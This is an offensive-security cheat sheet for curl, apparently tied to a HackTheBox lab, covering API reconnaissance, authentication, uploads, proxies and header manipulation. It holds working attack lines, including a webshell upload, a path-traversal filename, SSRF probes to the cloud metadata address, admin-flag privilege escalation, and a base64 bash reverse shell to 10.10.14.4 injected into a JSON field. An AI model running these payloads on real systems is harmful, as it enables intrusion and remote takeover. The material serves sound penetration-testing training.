>_ cURL

cURL Exploitation Cheat Sheet

Modern Web/API reconnaissance and exploitation with curl

curl.se | github.com/curl/curl

Last updated: November 5, 2025

Contents

1 What is cURL?

`curl` is a command-line client for HTTP(S) and many other protocols. For offensive security, it's ideal for API discovery, auth testing, uploading/downloading files, header manipulation, proxying through tooling (e.g., Burp), and driving complex exploit chains from the shell.

2 General Syntax

```
# Basic
curl [GLOBAL OPTIONS] [HTTP-OPTIONS] <URL>

# Show version and features
curl -V
```

Common global flags: `-s` silent, `-v` verbose, `-k` insecure TLS, `-L` follow redirects, `-i` include response headers, `-I` HEAD only, `-m` max time, `-connect-timeout`.

3 Recon & Enumeration

3.1 Headers, Status, Redirects

```
# Print response headers + status
curl -is http://target/api

# Follow redirects and show the chain
curl -sIL http://target -o -
```

3.2 Discover API surface

```
# Probe well-known API docs
curl -s http://target/{api,api/v1,.well-known/openapi.json}

# Wordlist path discovery (quick n' dirty)
for p in login auth users admin; do curl -s -o /dev/null -w "%{http_code} %\n" \
  http://target/api/v1/$p; done
```

4 Methods & Bodies

4.1 URL-encoded forms

```
# application/x-www-form-urlencoded
curl -sX POST http://target/login \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'username=alice&password=Password123!'
```

4.2 JSON

```
# POST JSON
curl -sX POST http://target/api/v1/items \
  -H 'Content-Type: application/json' \
  -d '{"name":"widget","price":1.99}' | jq

# PUT/PATCH/DELETE
curl -sX PUT     http://target/api/v1/user/1 -H 'Content-Type: application/json' -d '{"email":"a@b.c"}'
curl -sX PATCH   http://target/api/v1/user/1 -H 'Content-Type: application/json' -d '{"is_admin":1}'
curl -sX DELETE  http://target/api/v1/user/1
```

4.3 Query params

```
# Build query string from -d with -G
curl -sG 'http://target/search' -d 'q=admin' -d 'page=1'
```

5 Map Discovery Output to Requests

GET	Use `curl -s http://host/path -b 'PHPSESSID=...'`
POST	Use `-X POST` with body: `-H 'Content-Type: application/json' -d '...'`
PUT	Use `-X PUT` and include JSON or form data as required
DELETE	Use `-X DELETE` (often no body)
Unknown	Check `OPTIONS`: `curl -i -X OPTIONS http://host/path`

Interpreting an API index

If discovery returns grouped endpoints by method, match the method to `-X <METHOD>` and include cookies/headers as needed.

```
{
  "admin": {
    "GET":  { "/api/v1/admin/auth": "Check if user is admin" },
    "POST": { "/api/v1/admin/vpn/generate": "Generate VPN for user" },
    "PUT":  { "/api/v1/admin/settings/update": "Update user settings" }
  }
}
```

```
# Session cookie used for all examples below
SESSION='PHPSESSID=nufb0km8892s1t9kraqhqiecj6'
BASE='http://2million.htb'

# GET  -> /api/v1/admin/auth
curl -s "$BASE/api/v1/admin/auth" -b "$SESSION" | jq

# POST -> /api/v1/admin/vpn/generate
curl -sv -X POST "$BASE/api/v1/admin/vpn/generate" \
  -b "$SESSION" -H 'Content-Type: application/json' \
  -d '{"username":"alice"}' | jq

# PUT  -> /api/v1/admin/settings/update
curl -s -X PUT "$BASE/api/v1/admin/settings/update" \
  -b "$SESSION" -H 'Content-Type: application/json' \
  -d '{"email":"test@2million.htb","is_admin":true}' | jq
```

Probe required fields

When the API complains about missing parameters, add them to your JSON until it succeeds.

```
# Server hints missing fields
curl -s -X PUT "$BASE/api/v1/admin/settings/update" -b "$SESSION" \
  -H 'Content-Type: application/json' -d '{"email":"test@2million.htb"}' | jq
# => { "status": "danger", "message": "Missing parameter: is_admin" }

# Add the hinted field
curl -s -X PUT "$BASE/api/v1/admin/settings/update" -b "$SESSION" \
  -H 'Content-Type: application/json' -d '{"email":"test@2million.htb","is_admin":true}' | jq
```

6 From Response to Next Command

6.1 Redirects and Set-Cookie

```
HTTP/1.1 302 Found
Location: /login
Set-Cookie: PHPSESSID=abc123; Path=/; HttpOnly
```

```
# Follow redirects and persist cookies
curl -sL -c jar.txt -b jar.txt "$BASE/protected"
```

6.2 Method discovery (Allow/OPTIONS)

```
HTTP/1.1 405 Method Not Allowed
Allow: GET, POST
```

```
# Use an allowed method
curl -s -X POST "$BASE/api/v1/items" -H 'Content-Type: application/json' -d '{"name":"x"}'
# Or ask the server
curl -i -X OPTIONS "$BASE/api/v1/items"
```

6.3 Authentication hints (WWW-Authenticate)

```
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="admin"
WWW-Authenticate: Bearer
WWW-Authenticate: NTLM
```

```
# Basic
curl -su user:pass "$BASE/admin"
# Bearer/JWT
curl -H 'Authorization: Bearer {{TOKEN}}' "$BASE/api/me"
# NTLM
curl --ntlm -u 'DOMAIN\\user:pass' "$BASE/"
```

6.4 Unsupported Media Type (415)

```
HTTP/1.1 415 Unsupported Media Type
{ "message": "Expected application/json" }
```

```
curl -s -X POST "$BASE/api/v1/thing" -H 'Content-Type: application/json' -d '{"ok":true}'
```

6.5 Find and use CSRF tokens

```
<form action="/profile/update" method="post">
  <input type="hidden" name="csrf_token" value="abc123"/>
</form>
```

```
# Extract token, keep cookies, then submit
TOKEN=$(curl -s -c jar.txt -b jar.txt "$BASE/profile" \
  | sed -n 's/.*name="csrf_token" value="\([^"]*\)".*/\1/p')
curl -s -X POST "$BASE/profile/update" -c jar.txt -b jar.txt \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data "name=alice&csrf_token=$TOKEN"
```

6.6 Pagination (Link header)

```
Link: <http://api/items?page=2>; rel="next", <http://api/items?page=10>; rel="last"
```

```
NEXT=$(curl -si "$BASE/api/v1/items?page=1" -b "$SESSION" \
  | grep -i '^Link:' | sed -n 's/.*<\([^>]*\)>; rel="next".*/\1/p')
[ -n "$NEXT" ] && curl -s "$NEXT" -b "$SESSION" | jq
```

6.7 Rate limiting

```
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1730740000
```

```
RESET=$(curl -si "$BASE/api/v1/search?q=admin" | awk -F': ' '/^X-RateLimit-Reset/{print $2}')
WAIT=$((RESET-$(date +%s))); [ $WAIT -gt 0 ] && sleep $WAIT && \
  curl -s "$BASE/api/v1/search?q=admin"
```

6.8 Use headers requested by server

```
{ "error": "Provide header X-API-Key" }
```

```
curl -s "$BASE/api/v1/private" -H 'X-API-Key: {{API_KEY}}'
```

6.9 Content-Disposition indicates download

```
Content-Disposition: attachment; filename="report.pdf"
```

```
curl -OJ "$BASE/files/report"
```

6.10 Discover upload field names from HTML

```
<input type="file" name="upload" />
```

```
curl -s -X POST "$BASE/upload" -F 'upload=@/tmp/poc.txt'
```

6.11 RESTful heuristics when docs are missing

`/api/v1/posts`	list posts, create post (send JSON)
`/api/v1/posts/123`	read, replace, often not used, delete, PATCH to partially update
`/login, /auth`	usually with credentials
`/settings/update, /generate`	typically or with JSON body

6.12 401 vs 403

```
401 Unauthorized -> missing/invalid credentials
403 Forbidden    -> authenticated but not allowed
```

```
# 401 -> supply cookie or Authorization
curl -s "$BASE/admin" -b "$SESSION"
# 403 -> try another user/role or alternate endpoint
```

6.13 415/422 error messages drive body shape

```
{ "message": "Missing: email, is_admin (boolean)" }
```

```
curl -s -X PUT "$BASE/api/v1/admin/settings/update" \
  -H 'Content-Type: application/json' -b "$SESSION" \
  -d '{"email":"alice@example.com","is_admin":true}' | jq
```

7 Cookies & Sessions

```
# Provide a session cookie
curl -s http://target/api -b 'PHPSESSID=abcd...'

# Maintain a cookie jar across requests
curl -s -c jar.txt -b jar.txt http://target/login -d 'u=a&p=b'
```

Use `-c jar.txt -b jar.txt` to persist authenticated state across multiple requests and terminals.

8 Authentication

```
# Basic Auth (auto Base64)
curl -su user:pass http://target/admin

# Bearer/JWT
curl -H 'Authorization: Bearer {{TOKEN}}' http://target/api/me

# NTLM / Negotiate (Kerberos)
curl --ntlm -u 'DOMAIN\\user:pass' http://win-target/
curl --negotiate -u : --service-name HTTP --delegation always http://kerb-target/
```

9 File Uploads

9.1 multipart/form-data

```
# Upload file with field name 'file'
curl -sX POST http://target/upload \
  -F 'file=@/path/webshell.php;type=application/x-php' \
  -F 'submit=Upload'

# Set a forged filename parameter
curl -sX POST http://target/upload -F 'file=@/tmp/poc.txt;filename=..%2f..%2fetc%2fpasswd'
```

9.2 Raw file to server

```
# PUT raw bytes to a writable path
curl -sT ./payload.bin http://target/uploads/payload.bin
```

10 Downloads & Exfil

```
# Save using remote name; honor Content-Disposition
curl -OJ http://target/files/report.pdf

# Partial content (Range Request)
curl -sR 0-1024 http://target/large.iso -o head.bin
```

11 Proxies & TLS

```
# Proxy via Burp
curl -x http://127.0.0.1:8080 http://target -s -k

# SOCKS proxy (e.g., through Chisel/SSH)
curl --socks5 127.0.0.1:1080 http://intranet

# Force HTTP/2 or HTTP/1.1
curl --http2 https://target
curl --http1.1 https://legacy

# Insecure TLS, custom SNI, cipher
curl -k --resolve internal:443:10.0.0.5 https://internal/
```

12 Debugging & Output Control

```
# Show only status code
curl -s -o /dev/null -w '%{http_code}\n' http://target

# Save body to file and headers to a separate file
curl -sD headers.txt -o body.json http://target/api

# Trace (raw)
curl --trace-ascii trace.txt http://target
```

13 Useful One-Liners

```
# Check if authenticated API returns true
curl -s http://target/api/v1/admin/auth -b 'PHPSESSID={{SESSION}}' | jq

# JSON change with error-led probing (missing fields -> messages)
curl -sX PUT http://target/api/v1/admin/settings/update \
  -H 'Content-Type: application/json' -b 'PHPSESSID={{SESSION}}' \
  -d '{"email":"me@target","is_admin":1}' | jq

# Detect command injection via filename/param
curl -sX POST http://target/api/v1/admin/vpn/generate \
  -H 'Content-Type: application/json' -b 'PHPSESSID={{SESSION}}' \
  -d '{"username":"test;id;"}'

# Base64 payload launcher
PAY=$(echo 'bash -i >& /dev/tcp/10.10.14.4/1234 0>&1' | base64 -w0)
curl -sX POST http://target/api/v1/admin/vpn/generate \
  -H 'Content-Type: application/json' -b 'PHPSESSID={{SESSION}}' \
  -d "{\"username\":\"test;echo $PAY | base64 -d | bash;\"}"
```

Only perform testing with explicit authorization. Some of the above are intrusive and may cause service disruption.

14 Header Manipulation

```
# Override Host (virtual host routing / SSRF pivots)
curl -s https://edge --resolve api.intra:443:10.0.0.5 -H ’Host: api.intra’

# Origin/Referer forging (CORS/CSRF bypass testing)
curl -s http://target/endpoint -H ’Origin: https://trusted.example’ -H ’Referer: https://trusted.example/page’

# X-Forwarded-* spoofing
curl -s http://target -H ’X-Forwarded-For: 127.0.0.1’ -H ’X-Original-URL: /admin’
```

15 SSRF Probing

```
# Direct SSRF probe to metadata (example AWS)
curl -s http://target/proxy?url=http://169.254.169.254/latest/meta-data/

# Verify DNS-based SSRF with collaborator
curl -s ’http://target/fetch?u=http://<id>.oast.site/’
```

16 Automation & Chaining

```
# Brute-force endpoints from list (respect rate limiting)
cat endpoints.txt | xargs -I{} -P5 bash -c \
  "curl -s -o /dev/null -w ’{} -> %{http_code}\n’ http://target{}"

# Extract token, reuse automatically
auth=$(curl -s http://target/login -d ’u=a&p=b’ | jq -r ’.token’)
curl -s http://target/me -H "Authorization: Bearer $auth" | jq
```

17 Bypass Techniques

```
# Method override
echo ’{"_method":"DELETE"}’ | \
  curl -sX POST http://target/item/1 -H ’Content-Type: application/json’ -d @-

# Content-Type confusion
curl -sX POST http://target/api -H ’Content-Type: application/json; charset=utf-7’ -d ’{}’

# Case-variant headers
curl -s http://target -H ’hOsT: admin’ -H ’X-Forwarded-For: 127.0.0.1’
```

18 Quick Reference

Follow redirects	`-L`
Proxy (HTTP/S)	`-x http://127.0.0.1:8080`
SOCKS proxy	`-socks5 127.0.0.1:1080`
Send header	`-H ’Header: value’`
Cookie jar	`-c jar.txt -b jar.txt`
Upload file	`-F ’f=@/path/file’` *(multipart)*
PUT file	`-T file.bin`
Output control	`-o file -D headers.txt -w fmt`
HTTP/2	`-http2` **Insecure TLS** `-k`

19 Resources

- **cURL Manual:** curl.se/docs/manpage.html

- **HTTP RFCs:** httpwg.org/specs/
- **jq:** stedolan.github.io/jq/